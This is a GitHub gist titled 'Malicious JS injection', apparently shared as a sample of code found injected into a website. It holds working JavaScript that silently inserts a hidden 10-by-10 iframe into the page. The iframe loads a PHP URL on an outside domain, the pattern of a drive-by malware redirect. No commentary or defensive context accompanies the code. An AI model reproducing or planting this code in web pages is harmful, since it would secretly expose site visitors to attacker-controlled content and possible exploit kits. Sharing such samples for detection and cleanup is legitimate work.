Skip to content

Instantly share code, notes, and snippets.

@andyadams
Created June 22, 2012 20:34
Show Gist options
  • Save andyadams/2975029 to your computer and use it in GitHub Desktop.
Save andyadams/2975029 to your computer and use it in GitHub Desktop.
Malicious JS injection
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://pmfslzj.tld.cc/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://pmfslzj.tld.cc/d/404.php?go=1');
f.style.visibility='hidden';
f.style.position='absolute';
f.style.left='0';
f.style.top='0';
f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment